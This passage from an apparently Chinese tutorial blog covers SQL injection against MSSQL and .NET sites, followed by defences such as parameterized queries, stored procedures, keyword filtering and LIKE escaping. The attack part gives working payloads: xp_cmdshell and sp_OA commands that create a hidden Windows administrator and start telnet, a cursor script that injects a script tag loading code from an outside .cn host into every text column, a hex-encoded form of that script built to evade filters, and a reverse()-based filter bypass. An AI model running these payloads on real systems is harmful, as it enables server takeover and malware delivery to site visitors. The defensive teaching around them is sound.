b) 恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误：
SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面的语句进行设置：
-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';
d) 添加windows用户：
Exec xp_cmdshell 'net user awen /add';
e) 设置好密码：
Exec xp_cmdshell 'net user awen password';
f) 提升到管理人员：
Exec xp_cmdshell 'net localgroup administrators awen /add';
g) 开启telnet服务：
Exec xp_cmdshell 'net start tlntsvr'
7) 没有xp_cmdshell扩展程序，也可创建Windows帐户的办法.
(本人windows7系统，测试下面SQL语句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的时候会报如下错：
SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
解决办法：
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了，这样别人可以登录你的服务器了，你怎么看？
8) 客户端脚本攻击
攻击1：（正常输入）攻击者通过正常的输入提交方式将恶意脚本提交到数据库中，当其他用户浏览此内容时就会受到恶意脚本的攻击。
措施：转义提交的内容，.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。
攻击2：（SQL注入）攻击者通过SQL注入方式将恶意脚本提交到数据库中，直接使用SQL语法UPDATE数据库，为了跳过System.Net.WebUtility.HtmlEncode(string) 转义，攻击者会将注入SQL经过“HEX编码”，然后通过exec可以执行“动态”SQL的特性运行脚本”。
参考：
注入：SQL注入案例曝光，请大家提高警惕
恢复：批量清除数据库中被植入的js
示例代码：（可在示例附带的数据库测试）
a) 向当前数据库的每个表的每个字段插入一段恶意脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
DeallocateTable_Cursor
b) 更高级的攻击，将上面的注入SQL进行“HEX编码”，从而避免程序的关键字检查、脚本转义等，通过EXEC执行
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC(@s);--
c) 批次删除数据库被注入的脚本
declare @delStrnvarchar(500)
set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符
setnocount on
declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint
declare @sqlnvarchar(500)
set @iResult=0
declare cur cursor for
selectname,id from sysobjects where xtype='U'
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型
select name from syscolumns where xtype in (231,167,239,175) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
execsp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表：'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'
close cur
deallocate cur
setnocount off
d) 我如何得到“HEX编码”？
开始不知道HEX是什么东西，后面查了是“十六进制”，网上已经给出两种转换方式：（注意转换的时候不要加入十六进制的标示符 ’0x’ ）
Ø 在线转换 （TRANSLATOR, BINARY），进入……
Ø C#版的转换，进入……
9) 对于敏感词过滤不到位的检查，我们可以结合函数构造SQL注入
比如过滤了update，却没有过滤declare、exec等关键词，我们可以使用reverse来将倒序的sql进行注入：
declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
防止SQL注入
1. 数据库权限控制，只给访问数据库的web应用功能所需的最低权限帐户。
如MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定义错误信息，首先我们要屏蔽服务器的详细错误信息传到客户端。
在 ASP.NET 中，可通过web.config配置文件的<customErrors>节点设置：
<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">
<error. . ./>
</customErrors>
更详细，请进入……
mode：指定是启用或禁用自定义错误，还是仅向远程客户端显示自定义错误。
On
指定启用自定义错误。如果未指定defaultRedirect，用户将看到一般性错误。
Off
指定禁用自定义错误。这允许显示标准的详细错误。
RemoteOnly
指定仅向远程客户端显示自定义错误并且向本地主机显示ASP.NET 错误。这是默认值。
看下效果图：
设置为<customErrors mode="On">一般性错误：
设置为<customErrors mode="Off">：
3. 把危险的和不必要的存储过程删除
xp_：扩展存储过程的前缀，SQL注入攻击得手之后，攻击者往往会通过执行xp_cmdshell之类的扩展存储过程，获取系统信息，甚至控制、破坏系统。
xp_cmdshell
能执行dos命令，通过语句sp_dropextendedproc删除，
不过依然可以通过sp_addextendedproc来恢复，因此最好删除或改名xplog70.dll（sql server 2000、windows7）
xpsql70.dll(sqlserer 7.0)
xp_fileexist
用来确定一个文件是否存在
xp_getfiledetails
可以获得文件详细资料
xp_dirtree
可以展开你需要了解的目录，获得所有目录深度
Xp_getnetname
可以获得服务器名称
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以访问注册表的存储过程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你不需要请丢弃OLE自动存储过程
4. 非参数化SQL与参数化SQL
1) 非参数化（动态拼接SQL）
a) 检查客户端脚本：若使用.net，直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。
b) 类型检查：对接收数据有明确要求的，在方法内进行类型验证。如数值型用int.TryParse()，日期型用DateTime.TryParse() ，只能用英文或数字等。
c) 长度验证：要进行必要的注入，其语句也是有长度的。所以如果你原本只允许输入10字符，那么严格控制10个字符长度，一些注入语句就没办法进行。
d) 使用枚举：如果只有有限的几个值，就用枚举。
e) 关键字过滤：这个门槛比较高，因为各个数据库存在关键字，内置函数的差异，所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下，学习学习，谢谢！
这边提供一个关键字过滤参考方案(MSSQL)：
public static bool ValiParms(string parms)
{
if (parms == null)
{
return false;
}
Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);
Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);
Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);
Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);
Regex regex5 = new Regex("\"", RegexOptions.IgnoreCase);
Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);
Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);
Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);
Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);
Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);
Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);
return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));
}
优点：写法相对简单，网络传输量相对参数化拼接SQL小
缺点：
a) 对于关键字过滤，常常“顾此失彼”，如漏掉关键字，系统函数，对于HEX编码的SQL语句没办法识别等等，并且需要针对各个数据库封装函数。
b) 无法满足需求：用户本来就想发表包含这些过滤字符的数据。
c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限，SQLServer的缓存空间也有限。有限的空间应该被充分利用。
2) 参数化查询（Parameterized Query）
a) 检查客户端脚本，类型检查，长度验证，使用枚举，明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。
b) 参数化查询原理：在使用参数化查询的情况下，数据库服务器不会将参数的内容视为SQL指令的一部份来处理，而是在数据库完成 SQL 指令的编译后，才套用参数运行，因此就算参数中含有具有损的指令，也不会被数据库所运行。
c) 所以在实际开发中，入口处的安全检查是必要的，参数化查询应作为最后一道安全防线。
优点：
Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)
Ø 参数化查询能强制执行类型和长度检查。
Ø 在MSSQL中生成并重用查询计划，从而提高查询效率（执行一条SQL语句，其生成查询计划将消耗大于50%的时间）
缺点：
Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。
疑问：参数化如何“批量更新”数据库。
a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。
EG：
StringBuilder sqlBuilder=new StringBuilder(512);
Int count=0;
For(循环)
{
sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());
SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
}
b) 通过MSSQL 2008的新特性：表值参数，将C#中的整个表当参数传递给存储过程，由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看……
疑虑：有部份的开发人员可能会认为使用参数化查询，会让程序更不好维护，或者在实现部份功能上会非常不便，然而，使用参数化查询造成的额外开发成本，通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击，所造成的重大损失。
另外：想验证重用查询计划的同学，可以使用下面两段辅助语法
--清空缓存的查询计划
DBCC FREEPROCCACHE
GO
--查询缓存的查询计划
SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle
GO
3) 参数化查询示例
效果如图：
参数化关键代码：
Private bool ProtectLogin(string userName, string password)
{
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
};
int count = (int)SqlHelper.Instance.ExecuteScalar
("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);
return count > 0 ? true : false;
}
5. 存储过程
存储过程（Stored Procedure）是在大型数据库系统中，一组为了完成特定功能的SQL 语句集，经编译后存储在数据库中，用户通过指定存储过程的名字并给出参数（如果该存储过程带有参数）来执行它。
优点：
a) 安全性高，防止SQL注入并且可设定只有某些用户才能使用指定存储过程。
b) 在创建时进行预编译，后续的调用不需再重新编译。
c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。
缺点：
a) 非应用程序内联代码，调式麻烦。
b) 修改麻烦，因为要不断的切换开发工具。（不过也有好的一面，一些易变动的规则做到存储过程中，如变动就不需要重新编译应用程序）
c) 如果在一个程序系统中大量的使用存储过程，到程序交付使用的时候随着用户需求的增加会导致数据结构的变化，接着就是系统的相关问题了，最后如果用户想维护该系统可以说是很难很难（eg：没有VS的查询功能）。
演示请下载示例程序，关键代码为：
cmd.CommandText = procName; // 传递存储过程名
cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程
如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接，这时是否还具有放注入的功能？
答：MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句，但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值， EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。
关键代码：（详细见示例）
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(
@userNamenvarchar(10),
@password nvarchar(10),
@count int OUTPUT
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';
EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output
END
b) EXECUTE（注意sql中拼接字符，对于字符参数需要额外包一层单引号，需要输入两个单引号来标识sql中的一个单引号）
CREATE PROCEDURE PROC_Login_EXEC(
@userNamenvarchar(10),
@password varchar(20)
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';
EXEC('DECLARE @count int;' +@s+'select @count');
END
注入截图如下：
6. 专业的SQL注入工具及防毒软件
情景1
A：“丫的，又中毒了……”
B：“我看看，你这不是裸机在跑吗？”
电脑上至少也要装一款杀毒软件或木马扫描软件，这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户，就会立马报出警报。
情景2
A：“终于把网站做好了，太完美了，已经检查过没有漏洞了！”
A：“网站怎么被黑了，怎么入侵的？？？”
公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站，这些工具毕竟是专业的安全人员研发，在安全领域都有自己的独到之处。SQL注入工具介绍：10个SQL注入工具
7. 额外小知识：LIKE中的通配符
尽管这个不属于SQL注入，但是其被恶意使用的方式是和SQL注入类似的。
参考：SQL中通配符的使用
%
包含零个或多个字符的任意字符串。
_
任何单个字符。
[]
指定范围（例如 [a-f]）或集合（例如 [abcdef]）内的任何单个字符。
[^]
不在指定范围（例如 [^a - f]）或集合（例如 [^abcdef]）内的任何单个字符。
在模糊查询LIKE中，对于输入数据中的通配符必须转义，否则会造成客户想查询包含这些特殊字符的数据时，这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。
注意使用通配符的索引性能问题：
a) like的第一个字符是'%'或'_'时，为未知字符不会使用索引, sql会遍历全表。
b) 若通配符放在已知字符后面，会使用索引。
网上有这样的说法，不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引，可能在别的数据库中会使用到索引吧……
截图如下：
有两种将通配符转义为普通字符的方法：
1) 使用ESCAPE关键字定义转义符（通用）
在模式中，当转义符置于通配符之前时，该通配符就解释为普通字符。例如，要搜索在任意位置包含字符串 5% 的字符串，请使用：
WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2) 在方括号 ([ ]) 中只包含通配符本身，或要搜索破折号 (-) 而不是用它指定搜索范围，请将破折号指定为方括号内的第一个字符。EG：
符号
含义
LIKE '5[%]'
5%
LIKE '5%'
5 后跟 0 个或多个字符的字符串
LIKE '[_]n'
_n
LIKE '_n'
an, in, on (and so on)
LIKE '[a-cdf]'
a、b、c、d 或 f
LIKE '[-acdf]'
-、a、c、d 或 f
LIKE '[ [ ]'
[
LIKE ']'
] （右括号不需要转义）
所以，进行过输入参数的关键字过滤后，还需要做下面转换确保LIKE的正确执行
private static string ConvertSqlForLike(string sql)
{
sql = sql.Replace("[", "[[]"); // 这句话一定要在下面两个语句之前，否则作为转义符的方括号会被当作数据被再次处理
sql = sql.Replace("_", "[_]");
sql = sql.Replace("%", "[%]");
return sql;
}
结束语：感谢你耐心的观看。恭喜你， SQL安全攻防你已经入门了……
参考文献：
SQL注入天书
(百度百科)SQL注入
扩展资料：
Sql Server 编译、重编译与执行计划重用原理
浅析Sql Server参数化查询-----验证了参数的类型和长度对参数化查询影响
Sql Server参数化查询之where in和like实现详解
-----讲述6种参数化实现方案
webshell -----不当小白，你必须认识的专业术语。一个用于站长管理，入侵者入侵的好工具
SQL注入技术和跨站脚本攻击的检测 -----讲解使用正则表达式检测注入
XSS(百度百科) -------恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
XSS攻击实例 -------基本思路：我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”，其实是在你的本地设置了一个cookie，这种方式可以让你免去每次都输入用户名和口令的痛苦，但是也带来很大的问题。试想，如果某用户在“自动登录”的状态下，如果你运行了一个程序，这个程序访问“自动登录”这个网站上一些链接、提交一些表单，那么，也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。
Web安全测试之XSS
Web API 入门指南 - 闲话安全
中间人攻击(MITM)姿势总结
浅谈WEB安全性（前端向）
*请认真填写需求信息，我们会在24小时内与您取得联系。
